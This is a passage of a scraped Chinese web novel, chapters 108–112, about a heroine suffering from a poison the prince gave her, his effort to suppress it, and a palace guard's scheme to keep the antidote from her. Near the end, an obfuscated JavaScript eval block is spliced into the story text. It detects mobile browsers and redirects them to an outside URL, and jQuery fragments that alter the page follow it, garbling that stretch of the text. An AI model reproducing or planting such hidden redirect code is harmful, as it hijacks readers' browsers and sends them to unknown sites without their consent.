甚至无法将意识探入系统空间中取药。 只能断续地发出嘶哑颤抖的声音。 幸好之前她怕系统里的药品包装不能见人,所以取了不少出来备用。 金铃颤抖着手,拿了药和水,喂姜南溪吃下去。 因为手僵硬颤抖,还洒了不少水在床上。 “小姐,您……是您身上的七日断肠丸发作了吗?可,可不应该是这样的,离七日至少还有十二个时辰,不应该这样的。影七中午就能把解药送到了,不该这样的……王爷并不是真的想让您……” 姜南溪心里有一箩筐骂的非常脏的人身攻击要往萧墨宸那王八蛋身上倾倒。 可她实在是太疼了。 刚张嘴想要说话,就感觉喉头涌上来一股腥甜。 噗——! 她猛地喷出一口血,昏死过去。 “小姐——!!” …… 砰砰砰!砰砰砰! 夜半三更,一阵急促地敲门声,打破了御王府的寂静。 “大半夜的,什么人胆敢……” 御王府的门房小厮刚打开门,就被狠狠撞开。 他猝然回头,只能看到金铃背着什么人,狂奔而去的背影。 “王爷!” 金铃跪在刚刚被吵醒的萧墨宸面前,脸色惨白,身体都在颤抖,“王爷,您救救小姐,小姐体内的七日断肠丸,提前发作了!” “这怎么可能?”司玄中和影十三大惊。 影十三迅速蹲下身,摸姜南溪的脉。 越摸她的脸色就越难看:“主子,七日断肠丸,确实提前发作了。” 司玄中眉头紧皱:“可影七和解药还在路上。七日断肠丸是神医谷离家一脉的独门秘方,唯离洛先生配置的解药能解,也唯有离家一脉的内力能稍稍压制。” “如今解药没到,离洛先生又在千里之外的北疆战场,便是现在即刻去宫中请太医,也无济于事啊!” 司玄中说到这里,轻轻叹了口气。 随即眉头微微舒展:“好在这七日断肠丸潜伏七日,毒发也要七日,这七日内虽然痛苦,可只要服下解药,便能活下来。如今也只能让县主熬到明日中午了,影七骑了王爷的绝影,最迟明日中午,定然能将解药送到!” 然而,影十三和金铃却完全放松不下来。 七日毒发,七日断肠。 每一时每一刻的痛楚,都能让人痛断肝肠。 便是他们受过专业训练的墨影卫都承受不住。 更何况是姜南溪一个娇生惯养的柔弱女子? 而且七日断肠丸在毒发时,会腐蚀人的五脏六腑。 哪怕事后用了解药。 这些腐蚀也没办法恢复如初。 金铃想到自己之前犯了大错,自我惩罚。 还只是皮肉伤,姜南溪却把最好的疗伤药不要钱一般往她身上洒。 她又想起在镇北军的伤残营中。 姜南溪明明累得连站都站不稳了,却还要坚持不懈给那些伤兵做手术。 她说,她能多坚持一刻,就能让这些伤兵多一分活得希望。 而如今,这样的小姐,却要承受七日断肠丸的折磨。 金铃突然觉得心脏像被撕扯一样疼痛。 汹涌的愧疚,几乎将她淹没。 也让她抑制不住地泪流满面。 “把人放在本王的床上,你们都出去!” 正在这时,男人低沉冷淡的声音突然响起。 众人先是一愣。 随后司玄中脸色变了:“王爷,您要用内力给南溪县主压制毒性?这万万不可!” 离家所制之毒,只有离家一脉的内力能够稍稍压制。 而如今整个京城中,唯有萧墨宸一人,与离洛师出同门。 可谁都知道,萧墨宸不能动用内力。 否则巫髓毒将再也压制不住。 萧墨宸掀起眼帘,黑润的桃花眸不含一丝温度。 “司玄中,你以为本王在征询你的意见?” 司玄中一颤,再不敢多言一句,垂着眼躬身退出。 …… 片刻后,屋中只剩下萧墨宸和姜南溪两人。 萧墨宸从轮椅上站起来,走到床边。 犹豫了片刻,才伸手脱掉姜南溪身上已经汗湿的里衣。 少女柔白纤巧的身上,只穿着一件桃粉色的肚兜。 萧墨宸只看了一眼,就迅速将视线别开。 可脑海中却还是不自觉浮现出那晚。 自己亲手将同色肚兜的系带扯断,丢在地上。 少女的肌肤在昏黄的烛火下,显得那样莹白如玉,又泛着春色的红。 随后,他的眸便也被这春色的红点燃了,无法压抑,无法自控…… 萧墨宸猛地深吸一口气,错开眼,伸手把姜南溪扶起来。 触手便是一片温腻柔滑。 少女的皮肤宛如带着热烫温度的羊脂暖玉。 烫的萧墨宸下意识地缩回手。 随后又深吸了一口气,才重新用双手扶住。 将掌心贴在少女白皙柔滑的背脊上。 第一百零八章 没穿衣服? 迷迷糊糊中,姜南溪只觉得自己已经被扔在刀山油锅中疼的死去活来。 她时而清醒,想哀嚎尖叫,想破口大骂。 时而又觉得自己沉入了无尽的地狱深渊,仿佛魂魄随时都会被撕碎在天地间。 直到,一股暖流从她的后背,注入她的经脉。 流遍她的四肢百骸,逐渐减轻她的痛楚。 姜南溪迷迷糊糊睁开眼。 入目的场景一片模糊。 她正疑惑着自己现在到了哪。 突然背上支撑着她的力量一松。 姜南溪身体猛地向后一倒,落进了一个宽阔温热的怀抱中。 一股熟悉的冷香侵入鼻尖。 紧接着,视线逐渐清晰。 姜南溪透过汗湿的长睫和鬓发,看到了那张让她咬牙切齿的俊秀脸庞。 “混蛋,萧墨宸!” 她没忍住,抬手狠狠朝男人的脸扇去。 要不是这狗渣男给她喂七日断肠丸,她用得着受这份罪吗? 然而,抬起的手虚软无力。 还没碰到男人的脸,就落在他的胸口。 触手一片温热紧实的肌肤。 姜南溪的手僵住了。 这男人怎么没穿衣服? 等等! 她怎么也没穿衣服? 姜南溪连疼痛和恼怒都顾不得了。 她挣扎着要爬起来:“萧墨宸,你对我做了什么?” 然而,身体还没撑起来一秒,就又重重倒回了男人怀里。 少女柔软滑腻的背脊,与男人紧实温热的胸腹,赤裸相贴,半分不离。 姜南溪脸上蹭的烧起来。 耳边仿佛能听到男人微微粗重的呼吸声,和自己剧烈跳动的心脏声。 “别动!” 萧墨宸的声音从所未有的嘶哑,“想活命,就给本王乖一点!” 随后,热烫的手按在她赤裸的肩膀上。 男人的手指修长漂亮,骨节匀称。 平日看到的时候,宛如白玉雕琢而成的艺术品,没有一丝瑕疵。 可此刻紧紧贴在皮肤上,姜南溪却感受到萧墨宸的手上有一层层细细的薄茧。 摩擦的她肩膀细嫩的皮肤,微微发疼发烫,直烫到心扉。 姜南溪想起之前的那个颠鸾倒凤的夜晚,想起男人那极品的身材,盛世美颜的脸。 胸腹中就有一团火,不受她控制的烧起来。 然而,她那点旖旎心思刚升起。 一股剧痛就再度在她五脏六腑中炸裂开来。 七日断肠丸再次发作了! 靠!! 狗渣男还是去死!! 姜南溪痛的在心中破口大骂,恨不得把萧墨宸这个始作俑者碎尸万段。 在焚心蚀骨的痛楚中,姜南溪重新晕死过去。 所以她并没有看到,在她晕厥后。 萧墨宸重新将手贴在她的后背。 片刻后,一股缭绕的水汽从两人的体表蒸腾而出。 萧墨宸的脸上染上了一丝病态的潮红。 裸露的胸腹之上,一道道血红丝线,宛如蛛网般密布。 血线一点点逼近心脏的位置,仿佛一只张牙舞爪,择人而噬的野兽。 === 对于御王府的人来说,这一夜格外的漫长。 直到漆黑的天幕上,逐渐撕扯出一抹鱼肚白。 屋内才传来萧墨宸虚弱的声音:“金铃,进来!” 惶惶不安地金铃猛地惊醒。 她连忙推门进入。 就见萧墨宸此时已经穿好了衣衫,重新坐在轮椅上。 金铃又往里看了看。 只见姜南溪身上盖着薄被,睡得正香。 头发虽依旧是汗湿的,可眉目已经舒展。 脸上没有了之前痛楚的神情。 金铃却根本没办法松口气。 她担忧又惶惶地看着萧墨宸,脸上满是愧疚:“王爷……” 萧墨宸却淡淡打断她:“你留在这里照顾她。” 金铃连忙道:“奴婢遵命!” “王爷!”司玄中急急进来,担忧地看着萧墨宸,“您没事吧?巫髓毒有没有发作?” 萧墨宸示意影十三将自己推出去。 他将自己的卧室留给了姜南溪。 直到离开一段距离,才淡淡道:“放心吧,本王还没那么容易死!” 司玄中见萧墨宸虽脸色苍白,却不见半分灰败将死之态。 这才长舒了一口气:“对了王爷,半个时辰前,皇上命苏公公来传密旨,命您速速进宫一趟。” 萧墨宸脸色微变:“去把苏辔带过来!” “王爷!” 很快,苏公公被带了过来。 他穿着一身黑色短衣,没有做太监打扮。 不细看,根本就没人能看出,他是宫中的御前太监。 一看到萧墨宸,苏辔立刻扑了过来,“王爷,老奴终于见到您了。请您快随奴才进宫,皇上有急事要找您!” 萧墨宸:“出什么事了?皇兄有危险?” 苏辔:“是楚家那边有异动,哎呀,总之王爷您快随老奴进宫吧,皇上已经在宫里等您许久了。” 司玄中担忧的看着萧墨宸:“王爷,您如今身体虚弱,要不先歇息一个时辰再……” “不可,这万万不可啊!”苏公公急的用尖细的嗓子大叫,“王爷,您该清楚,皇上如今在朝中能指望的,就只有您了。” 萧墨宸打断他的话:“本王现在就进宫。” 苏辔松了口气,随即想到了什么,看了影十三一眼道:“王爷,皇上让您将京城中的墨影卫也带上。司先生,您若是无事,不如也跟王爷一起进宫吧!” “司先生大才,在西楚人尽皆知,皇上也早想问计于司先生您了!” 司玄中挑了挑眉,随即微微一笑,拱手道:“那鄙人不才,便领受皇命,随王爷一起进宫了!” 一行人悄无声息地上了马车,在黎明的昏黄中,欲往皇宫而去。 随行的还有御王府的一半府兵。 “等等!” 马车临启动前,萧墨宸却突然开口。 他掀开车帘,看了立在门口的大丫鬟青筠和王府侍卫队长耿超一眼。 两人便立刻恭敬的走上前来。 青筠:“王爷,您还有何吩咐?” 萧墨宸沉默了片刻。 修长如玉的手指在马车车壁上轻轻摩挲了一下。 才缓缓道:“南溪县主醒来后,告诉她,乖乖呆在府中,不要乱跑,等影七送解药过来,她便可恢复如常。” 车厢内,司玄中一怔,愣愣地抬头看向萧墨宸。 脑海中只有一个念头:王爷何时会在皇命攸关的时刻,还记挂一个女人有没有乱跑了? 第一百零九章 蛇蝎美人计 耿超和青筠两人连忙躬身应诺。 马车缓缓驶离,消失在清晨的薄雾中。 青筠转身往姜南溪所在的厢房走去。 “青筠!”耿超叫住她,“你是要去见南溪县主吗?” 青筠点头:“金铃如今正在房中照顾南溪县主,我去将王爷的命令转告金铃。” 如此,自然就等于转告给南溪县主了。 耿超微微一笑道:“我记得这几日你家里老子娘病了,昨夜也一夜未睡,不如先去休息个把时辰。” “至于南溪县主那边,我会让手下的人去守着南溪县主的厢房,等县主醒来后,自然会转告王爷的意思。” 青筠想了想,便同意下来。 虽然如今御王和姜南溪的赐婚圣旨还没有公告天下。 但御王府中的侍卫奴婢,多少还是都知道的。 这位近几日频繁出入御王府的南溪县主,很可能便是未来的御王妃。 如今王爷进宫,带走了府中一半侍卫和影九、影十三。 耿超怕这位未来王妃有什么闪失,想分一部分侍卫守着南溪县主,也是正常的。 然而,青筠却不知道。 她走后,耿超没有让侍卫去东厢。 而是悄无声息穿过连廊,去往了阮芷安所在的衡芷院。 “卑职耿超,见过阮宜人。” “耿护卫长千万莫要与我多礼,快请起吧!” 阮芷安连忙上前,做了个虚扶的动作,柔声道:“耿护卫长你的身份与地位都高于妾身,但你每每见到妾身都如此谦恭有礼,倒让妾身不知该如何自处了。” 耿超一边起身,一边偷偷去瞄阮芷安。 今日的阮芷安着一身冰蚕丝织就的淡绿色轻纱薄裙。 领口绣着莲花图案,微微敞开,露出优美的脖颈线条。 大概是因为刚刚起床的缘故,她的云鬓微松,几缕青丝轻轻垂落在肩头。 为她原本端庄优雅的气质上,又平添了几分优雅和妩媚。 耿超眼睛都看直了。 喉结不受控制的上下滚动。 视线在阮芷安雪白的领口和被银色丝带束起的纤腰上黏连了一瞬。 又迅速挪开。 他结结巴巴道:“阮宜人高贵圣洁,在卑职心目中,就……就宛如那天上的明月,神山上的仙子。卑职绝……绝不敢有半分亵渎之心!” 噗嗤! 阮芷安掩着唇,娇笑出声。 直笑的耿超心猿意马,心如擂鼓。 阮芷安见他呆呆地,半天都不说到正题,眼中不由掠过一抹不耐烦。 她朝妙菱使了个眼色。 妙菱立刻道:“耿护卫长,您大清早的孤身来找我们宜人,是不是王爷那发生什么事了?昨夜我好似听到了敲门声,你知道发生什么事了吗?” 耿超闻言,立刻正了正神色,将昨晚和今早发生的事情说了一遍。 阮芷安眸光微微一闪:“你是说,南溪县主中了七日断肠丸,今日不服解药,便要毒发了。而解药,由影七护送回府,如今还在路上?” 耿超:“正是,那七日断肠丸原本是王爷亲手喂南溪县主服下的。可如今不知为何,王爷竟急着要为县主解毒。” “昨夜,王爷还命我等分几路去官道上等候影七,并且和皇觉寺那边打招呼,只等主持同意,便让影七从皇觉寺后山抄小道回来,如此一来,解药便能在中午前送到府中了。” 阮芷安脸色倏然一白。 垂在身侧的手死死攥成拳头,眼中的嫉恨之色几乎压抑不住。 妙菱愤愤道:“宜人,这位南溪县主真是好厉害的手段,短短七日,就勾的王爷神魂颠倒,连小世子和小郡主的安危都不顾了。” “就是可怜了宜人您,明明一腔真心赤忱,事事为了王爷着想,更为小郡主流了那么多血,却比不上那女人在王爷面前掉两滴泪装可怜!” “如今那南溪县主已经这般不喜宜人你了,三个月后若是真的让她进门当了御王妃,宜人你……你该被她怎样磋磨啊!呜呜呜……” 阮宜人苦笑一声,神情凄楚而无奈:“妙菱,别说了。若是这御王府真的容不下我们主仆,那我们自请离去便是。只是,我在这御王府呆了许多年,早已将王爷,将小世子和小郡主视作一家人,还有耿护卫长你们……都曾带给芷安无尽的温暖和关心,要舍掉这一切离去,当真比让芷安剜了自己的心更难受……” 说到这里,阮芷安脸上流下两行清泪。 耿超只觉得自己的心脏仿佛被揪紧了。 一股对姜南溪的厌恨和冲动,猛地涌上心头:“阮宜人,你不要走,该走的是那个别有用心的南溪县主!” “不,她不是该走……” 耿超面色一点点冷下来,眼里散发着幽暗凶狠的光:“像她这般阴险狠毒的女人,故意接近王爷,勾引王爷,定然是别有所图。王爷不该相信她的,既然给她喂了七日断肠丸,就不该给她解药。” “南溪县主,死在今日,才是最好的!” 说完,耿超一脸决绝,转身就要走。 “耿护卫长,你要做什么?” 阮芷安惊慌地抓住他,“你千万莫要为了我做傻事啊!” 耿超对她露出一个怜惜的笑容:“阮宜人放心,这是我自己的决定,与宜人无关。就算只是为了王爷和小世子的安危,我也绝不会让七日断肠丸的解药,送到南溪县主手中的。” “她,该死!” 阮芷安深吸了一口气,像是下了某种决定。 “耿护卫长,若是你真的已经做好了决定,我不会阻挠你。但你要不要听听我的计划?” 说到这里,她的眼神变得怜惜而柔情,仿佛充满着绵绵情意。 “你愿意为了护我,不惜被王爷责罚,我又怎能眼睁睁看着你放弃自己的前程,一脚踏入无尽深渊呢?” “我们去屋里坐下来,好好想一个万全之策,让南溪县主无法拿到解药,又能将你完美地摘出来,好不好?” 说着,纤纤玉手搭上了耿超的手腕。 耿超顿时浑身一僵,面色酡红。 两眼直勾勾地看着阮芷安,整个人像是被抽了魂一般。 毫无反抗地就被阮芷安拉进了房中。 第一百一十章 贪生怕死 东厢房中。 姜南溪缓缓睁开眼。 “小姐,您终于醒了!”金铃欣喜地喊道,“您觉得怎么样?身上还疼吗?” 姜南溪皱着眉,在金铃的搀扶下坐起身。 她动了动手脚,有些诧异道:“咦,似乎不疼了?金铃,解药到了吗?你喂我服下解药了?” 随即,她的视线在屋中一转,猛然意识到了不对劲。 “这里不是碧清院?我现在在哪?” 金铃跪下来:“小姐恕罪,昨夜奴婢看您病发,束手无策之下,只能将您送来了御王府。是王爷暂时延缓了您的毒发,七日断肠丸的解药,最迟今日中午就会送到……” 金铃这一说,姜南溪立刻就想起了昨晚迷迷糊糊看到的景象。 赤裸的男子,还有衣不蔽体,被男人拥在怀中的她。 金铃:“王爷昨夜为了救县主您……” 姜南溪面颊烧红,连忙打断:“别以为萧墨宸延缓了七日断肠丸的发作,我就会感激他!别忘了,本县主昨晚会受毒发之苦,都是他萧墨宸一手造成的。” “给个棒子,再喂个甜枣,就想让我感激涕零,忘记他的所作所为,做梦呢!” 金铃顿时噤声,不敢再帮自家主子说话。 她伺候着姜南溪梳洗、用早餐。 虽说如今焚心蚀骨般的痛楚已经消退了,但姜南溪还是感觉浑身一阵虚弱。 她进系统给自己打了一针补血针。 意识时不时飘向空间中的透析机。 经历过昨晚的毒发折磨,她现在对所谓已经在路上的解药极其不信任。 姜南溪向来秉承着。 与其把性命放别人手上,还不如自己拼力一搏。 “小姐,你要去哪?” 金铃看她起身往外走,连忙急声询问。 姜南溪:“回碧清院。” 金铃:“可王爷让您好好留在王府养病。影七很快就会将解药送过来的。” 姜南溪:“他让我留在这,我就必须留着?御王府和定远侯府是差了十万八千里吗?萧墨宸若是真的不想我死,影七解药送到,他自然会命人给我送过来。” “他若是诚心不想让我活,那我留在这里做什么?让他能好好欣赏我毒发时的丑态吗?” 金铃急了:“小姐,王爷真的不想让你死的,您信奴婢,奴婢可以用性命跟您发誓。您不知道,昨天晚上王爷为了救您……” 笃笃! 金铃的话还没说出口。 一阵敲门声传来。 金铃没奈何,只得把到了嘴边的话咽回去。 房门打开,看到站在外面的耿超。 金铃露出诧异的神情:“耿护卫长,有什么事吗?” 耿超朝里面看了一眼,对上姜南溪的视线。 他一拱手道:“卑职耿超,见过南溪县主。” “王爷在临去皇宫前,曾嘱咐卑职,等南溪县主醒来,便告知县主一声。” 姜南溪挑了挑眉:“告知我什么?” 耿超:“王爷已经命人去官道上接应影七,大约一个时辰后,影七就会从东城门进入京城。” “虽说时间上来讲定然来得及,但王爷还是担心,从东城门到王府这一路上,无法奔马飞驰,会耽误为县主您解毒的时间。” “所以王爷在东城门旁边定了一间上房,让卑职守着县主,只要您一醒,卑职就命人驾马车送您去客栈。如此一来,解药在一个时辰后,就能第一时间送到县主您手中了。” “县主,请您即刻随属下出发吧!” 姜南溪皱起了眉头,没有马上出发。 金铃生怕她不管不顾就要回碧清院去。 焦急地抓住她的手,满脸祈求道:“小姐,您就听王爷的,去客栈等影七送来解药吧?七日断肠丸每一颗毒虫毒草配方都截然不同,一丸一解药,您身上的毒,如今唯有离洛先生能配制出解药,奴婢求您,千万莫要因为跟王爷赌气,拿自己的生命开玩笑!” “奴婢敢跟您发誓,如今的王爷,绝对不想让您死的!” 甚至为了让姜南溪不必承受毒发之苦,连自己会巫髓毒入肺腑都顾不得了。 姜南溪看着金铃快哭出来的脸,叹了口气,对耿超道:“那就麻烦耿护卫长了!” 耿超微笑道:“不麻烦,卑职也是奉王爷之命行事。” 等姜南溪走出房间,耿超看着她的背影。 脸上的笑慢慢消失,化为了浓重的阴鸷。 …… “你说南溪县主去了鸿宾客栈等影七?” 青筠原本被耿超劝回去休息。 可她终究放心不下府中,尤其如今御王府一半侍卫被御王带去宫里。 未来王妃又身中七日断肠之毒,在府中养病。 可她寻到房间,却没有看到姜南溪,反而听到了姜南溪去了东城门口鸿宾客栈的消息。 青筠急的直跺脚:“这种时候,县主跑去鸿宾客栈做什么?王爷不是让他乖乖呆在府中等影七送解药过来吗?” 耿超无奈一笑道:“我也传达了王爷的意思,可南溪县主似乎被昨晚的毒发吓怕了,急于想第一时间拿到解药。她又听闻影七会从东城门进城,你也知道,从东城门到我们王府,无法骑马飞驰,影七赶过来需要不少时间。” “南溪县主怕在这半个时辰里,七日断肠丸再次发作,所以无论如何要亲身去东城门口等。我实在是拿县主没办法,只能命属下将她送去,又给她在城门旁的鸿宾客栈订了上房。” 在耿超带有引导性地叙述下,青筠的脸色越来越难看。 到后来,对姜南溪的印象已经跌落了谷底。 她没想到,这位南溪县主竟然如此贪生怕死。 连半个时辰都不肯多等,非要任性出王府。 她怎么不想想,在御王府中,若是病发还有他们照看。 可若是在客栈中,万一出了什么意外,王府这边守卫本就捉襟见肘,又如何能照看的到那边。 到时候,她们要如何与王爷交代? 更何况…… 青筠:“你难道就没告诉县主,影七不一定从东城门回来吗?” 她明明记得司先生说已经去沟通皇觉寺那边了。 只要方丈同意,便会让影七从皇觉寺后山抄小道回来。 第一百一十一章 也就是她蠢!又被耍了 耿超苦笑道:“怎么没说?我磨破了嘴皮子,可南溪县主似乎并不相信,影七能够进皇觉寺后山。东城门也确实是从北疆回京城最近的路,县主死活要去城门口的客栈等七日断肠丸的解药,我难道还能绑着县主,不让她出行不成?” 青筠忍不住又跺了跺脚。 正要说话,就听一个稚嫩的声音从身后传来。 “你说谁去了东城门?谁在等……七日断肠丸的解药?” 耿超和青筠均是一惊,齐齐扭头看去。 就见萧时晏绷着一张与萧墨宸有六七分相似的小脸,正拧眉看着他们。 粉雕玉琢,眉目如画,精致的仿佛仙家灵童。 然而只一皱眉,周身的威压便不自觉散发出来。 让耿超和青筠双膝一软,齐齐跪倒下去。 “参见世子!” 萧时晏急道:“我问你们,谁去了东城门的客栈等解药?是……是南溪县主吗?她怎么了?难道她中了七日断肠丸的毒?” 青筠和耿超面面相觑,讷讷不敢开口。 萧时晏小脸猛地一沉:“本世子问你们话呢!” “禀世子,确……确实是南溪县主中了七日断肠丸的毒……” 萧时晏听着青筠和耿超的叙述,小脸越来越白。 到最后,他只觉得两人的声音嗡嗡的,如苍蝇在嗡鸣,根本就听不入耳中。 “备车!给本世子备车,我要去东城门!” 他要去找坏女人。 他不要坏女人被七日断肠丸毒死。 他要亲眼看着坏女人服下解药,安然无恙。 === 东城门,鸿宾客栈。 金铃站立在三楼雅间的窗边,盯着人来人往的城门口,恨不得把眼珠都瞪出来。 然而,时间一点点过去。 她想看到的那个人,却始终没有出现。 影七! 这个混蛋到底在搞什么? 都已经过了一个半时辰了,为什么还没有到达东门口? 再等下去,万一小姐体内七日断肠丸再次毒发怎么办? 就在这时,金铃听到了一声冷笑。 她只觉得浑身一麻,僵硬地扭过头去。 就见脸色略显苍白的姜南溪从贵妃榻上站起身,露出一个自嘲又冰冷的笑。 “姜南溪啊姜南溪,你何时变得如此傻白甜,竟然会被一个男人一次次召之即来挥之即去,耍的团团转。” 说着,她转身就要往外走。 “小姐,小姐!” 金铃慌忙扑上去拉住她,带着哭腔道,“小姐,你相信奴婢,王爷绝不希望您死的。影七一定是在路上耽搁了,您,您再等一等,再等一会儿好不好?” 姜南溪嗤笑一声:“萧墨宸当然不希望我死,我死了,还有谁治疗他的兵,谁救他的命。但谁说,这世上唯有死这一种折磨驯服人的手段?” 御王不想让她死,却能让她求生不得求死不能。 七日断肠丸,七日潜伏,七日毒发。 就算晚几天服下解药,也不过是让她疼的死去活来,却不会马上死。 那种痛楚,她昨夜只体会了短短片刻,就已经无法忍受。 若是要被折磨七天,她真的能忍住不求饶吗? 如此一来,御王既能报复自己当初玷污他清白的厌恨。 又能在不履行婚约的条件下,就能将自己驯的服服帖帖。 让自己像狗一样,匍匐在他的脚下。 听他指令,为他治病。 呵! 御王萧墨宸,真是好手段,好算计。 也就是她蠢! 看萧墨宸这几日给了她一点好脸色,就以为这男人是个善茬。 狗王爷喂她服下七日断肠丸,可仅仅就在七日前啊! 不是七年,也不是七个月! 她凭什么以为,短短七日,就能让萧墨宸改变对她的态度? 更何况,说是赐婚。 至今都没有圣旨明告天下? 有几个人知道她是未来的御王妃? 又有几个人觉得她真能嫁给萧墨宸为妻? 从头到尾,这个男人都只是把她当做解毒治病、迷惑政敌的工具罢了! 戏耍、提防、玩弄,偶尔流露出一点甜头。 然后,驯服、打压! 让她心甘情愿地听话当狗。 可她姜南溪会是心甘情愿被驯服,给人当狗的人吗? 死都不可能! “不不,不是这样的!” 金铃听到姜南溪的话,急的眼圈都红了,“小姐,昨天晚上您毒发,是王爷……” 然而,这一次她的话还是没能说出口。 姜南溪脸色突然一变。 她口中控制不住地发出闷哼,随后整个人软倒下去。 剧烈的痛楚从她五脏六腑炸裂开来,让她身体都抑制不住地颤抖痉挛。 “小姐,小姐,你怎么了?!” 金铃尖叫一声,再也顾不得解释了。 连忙蹲下身扶住姜南溪,声音几乎要哭出来,“小姐,你别吓我!该死的影七,该死的!为什么,为什么到现在都还没把解药送来?小姐!” 砰——! 正在这时,紧闭的房间门突然被重重撞开。 一个小小的身影直直冲进来,冲到姜南溪面前。 看着坏女人疼的脸色青白,满头是汗的样子。 萧时晏没忍住,哇的一声哭出来。 他颤抖着小手去抓姜南溪的手,手掌冰凉,掌心全是冷汗。 “你,你不要死,不要死好不好?” “我去给你找七日断肠丸的解药,炎炎让人去找影七,坏女人你不要死好不好?呜呜呜……” 晶莹的泪珠啪嗒啪嗒掉落在姜南溪的手背上。 带来一阵滚烫地热度。 也不知道是毒发就是一阵一阵的,还是滚烫的泪驱散了身体的痛楚。 姜南溪只觉得体内那万蚁啃噬般的煎熬逐渐消散。 但她的身体还是因为残留的痛楚余悸,而抑制不住的手脚冰凉,轻微颤抖。 “小姐,小姐你怎么样?” 看到姜南溪睁开眼,金铃和萧时晏都急急凑上来。 萧时晏脸上还挂着湿漉漉的泪痕,哭道:“你,你不要死好不好?” 姜南溪喘息了好一会儿,才看清眼前的人:“你怎么……在这里?” 萧时晏抽了抽鼻子:“炎炎听到他们说你中了七日断肠丸的毒,炎炎担心你!” 姜南溪心情复杂地看着萧时晏。 随后冷漠地抽回了自己被小家伙握住的手。 第一百一十二章 都出去,我自己解 虽然姜南溪不想迁怒一个四岁的小娃娃。 可一想到昨晚和刚刚遭受的痛楚折磨。 她对御王府的人态度就好不起来。 萧时晏看着自己空荡荡的小手,脸上露出失落的表情。 但他马上调整好了心情,睁着水润的大眼睛,眼巴巴看着姜南溪:“我,炎炎去找影七拿……拿解药,你在这里等炎炎好不好?炎炎一定会把解药拿来的!” 姜南溪冷淡道:“不用了!这解药,御王府既然给的那么不情愿,那就不用给了。我自己的命,自己来救,无需你们御王府的任何人插手。” 说着,她看向金铃:“金铃,你带小世子回王府吧,我的身边不需要你们!客栈的钱,等我回去会还给御王府。现在,请你们出去!” 这话落在金铃和萧时晏耳中,宛如晴天霹雳。 尤其是金铃,她知道姜南溪的意思,不是现在不需要她们,而是永远都不需要她们了。 小姐要和御王府彻底做切割,彻底不要她和银铃了。 噗通! 金铃双膝一软,跪倒在姜南溪面前。 向来沉稳坚强的姑娘,此时却哭的泣不成声:“小姐,求求你不要敢奴婢走。自从奴婢跪在您面前说要做您的奴婢开始,我和银铃就只认小姐您这一个主子了!” “小姐如果非要敢奴婢走,还不如一刀杀了奴婢吧!” 说着,她开始砰砰砰的磕头。 而萧时晏在愣了片刻后,再度哇的一声哭出来。 他猛地扑到姜南溪身边,抓着她的手,一边嚎啕,一边哀求:“炎炎不要离开,炎炎要一直陪着你。你不是说过,以后都不讨厌炎炎的吗?呜呜呜……你,你不要讨厌炎炎好不好,炎炎去给你找解药,炎炎把所有的宝贝都给你……呜呜呜呜……” 姜南溪看着这哭的戚风惨雨的两人,顿觉一阵头疼。 等等! 明明七日断肠丸毒发,疼的生不如死的是她。 怎么这两个人哭的比她还凄惨百倍? 尤其是萧时晏,活像是要被妈妈丢掉的小可怜一样。 堂堂御王世子,平日里都是沉稳睿智的小大人形象。 此刻却哭的上气不接下气,小脸都糊成了一团,却还抱着她不肯撒手,活像是一只粘人的袋鼠,恨不得整个人扒拉在她身上。 姜南溪无奈道:“两位祖宗,算我求你们,别哭了,也别磕了。” 一大一小,完全不理她。 依旧哭的稀里哗啦。 姜南溪终于还是妥协了:“行了行了,我不赶你们走还不行吗?” 她这句话就像是一个指令开关。 瞬间,金铃不磕头了。 萧时晏也不哭了。 只是控制不住自己,不停的打哭嗝。 金铃眼泪汪汪道:“小姐,您等在这里,奴婢去帮您找影七拿解药!” 影七最好是有正当理由耽误了给小姐送药。 否则她非把这成事不足败事有余的王八蛋给扒皮抽筋了不可! “不需要!” 姜南溪淡淡道,“你们去问店家要几个屏风来,接下来,我会给自己做治疗,你们如果非要留在这里,那就安安静静等在外面,别让任何人打扰我解毒。” 金铃震惊地瞪大眼。 好半晌才结结巴巴道:“小姐,您……您能自己解七日断肠丸的毒?” 这怎么可能? 她敢说,整个京城,哪怕是医术最精湛的太医,也解不了七日断肠丸? 甚至换一个神医谷传人,在不知道离洛先生配方的情况下,也绝不可能制作出解药。 哪怕是王爷用离家一脉的内力也无法祛毒,顶多只能压制。 小姐又怎么可能自己解毒? 姜南溪:“不知道,试试看吧!生死由命,若能解毒,那就是我命不该绝,若是解不了,就是上天也不想让我活下去。但无论如何,我都不会再把自己的生死,交到别人手上。” 金铃欲言又止:“小姐,王爷……” “你再提一句萧墨宸,就给我离开!” 金铃顿时噤声,不敢再帮萧墨宸说一句话。 就连萧时晏也紧紧捂住自己的小嘴,生怕自己多说一句,姜南溪就又要赶他走。 可他刚刚实在哭的太过厉害,激动的情绪也没有平复下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576903|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以此刻还忍不住一抽一抽地打哭嗝。 眼圈和鼻头都红红的,小脸上也是一片狼藉,看上去说不出的可怜兮兮。 姜南溪在心里轻轻叹了口气。 她跟个小娃娃计较什么? 就算萧时晏是萧墨宸的儿子。 也不过是个四岁的小娃娃啊! 姜南溪招手让他过来,给他擦了花猫似得小脸,又喂他喝了一杯热水。 在小孩儿后背的穴道上轻轻按压了几下。 萧时晏终于停下了打嗝和抽搐。 小家伙用湿漉漉的孺慕眼神看着姜南溪。 小手紧紧捏着她的手指,仿佛生怕松开一点,自己就被抛弃了。 姜南溪摸摸他的小脑袋,放柔了声音道:“跟金铃一起去那边乖乖等着。” 此时金铃已经借来了屏风,将空旷的雅间隔成了两个房间。 两边分别有一张床和一张休息的软榻。 姜南溪自己占了床铺,好方便她一会儿进系统空间做透析治疗。 萧时晏闻言却下意识抓紧了小手。 大眼睛里再度蓄积起泪水:“坏女人,你……你不会死对不对?” 他知道,七日断肠丸是很厉害的**。 坏女人没有解药,真的不会有事吗? 姜南溪额角青筋跳动了一下。 坏女人? 这是什么鬼称呼? 刚刚自己真是白心疼这小屁孩了。 她没好气道:“谁是坏女人啊?” 